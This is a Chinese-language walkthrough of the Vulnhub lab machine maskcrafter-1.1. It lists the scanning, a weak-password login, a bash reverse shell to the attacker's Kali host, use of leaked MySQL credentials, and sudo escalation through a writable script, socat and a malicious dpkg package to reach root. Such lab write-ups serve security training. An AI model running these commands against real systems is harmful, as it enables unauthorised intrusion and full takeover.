Vulnhub:maskcrafter-1.1靶机

kali：192.168.111.111

靶机：192.168.111.187

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.187

ftp匿名登陆发现两个文件

ftp 192.168.111.187

NOTES.txt提示存在用户名admin

cred.zip需要密码

目录爆破发现debug目录

漏洞利用

访问debug目录，使用弱口令：admin|admin登录后发现可以执行命令

使用burp抓包替换执行的命令为反弹shell，反弹shell需要url编码后才能执行

bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'

提权

查看/var/www/html/db.php获得mysql数据库账号密码

使用账号密码：web|P@ssw0rdweb，登录mysql查看mydatabase数据库中的creds表获得cred.zip压缩包的密码

mysql -uweb -pP@ssw0rdweb

解压后获得userx用户的密码

userx用户sudo -l

修改/scripts/whatsmyid.sh内容为

#!/bin/bash
/bin/bash

执行脚本后切换到evdaez用户

sudo -u evdaez /scripts/whatsmyid.sh

evdaez用户sudo -l

提权方法：https://gtfobins.github.io/gtfobins/socat/#sudo，执行命令后切换到用户researcherx

sudo -u researcherx socat stdin exec:/bin/sh

researcherx用户sudo -l

提权方法：https://gtfobins.github.io/gtfobins/dpkg/#sudo

先安装fpm，安装方法：https://fpm.readthedocs.io/en/latest/installation.html

安装好fpm后在kali上运行以下命令，运行之后会生成x_1.0_all.deb软件包

TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF

本地用python开启http服务

python3 -m http.server

靶机上使用wget下载x_1.0_all.deb软件包

之后安装该软件包提升到root权限

sudo -u root dpkg -i x_1.0_all.deb

获得flag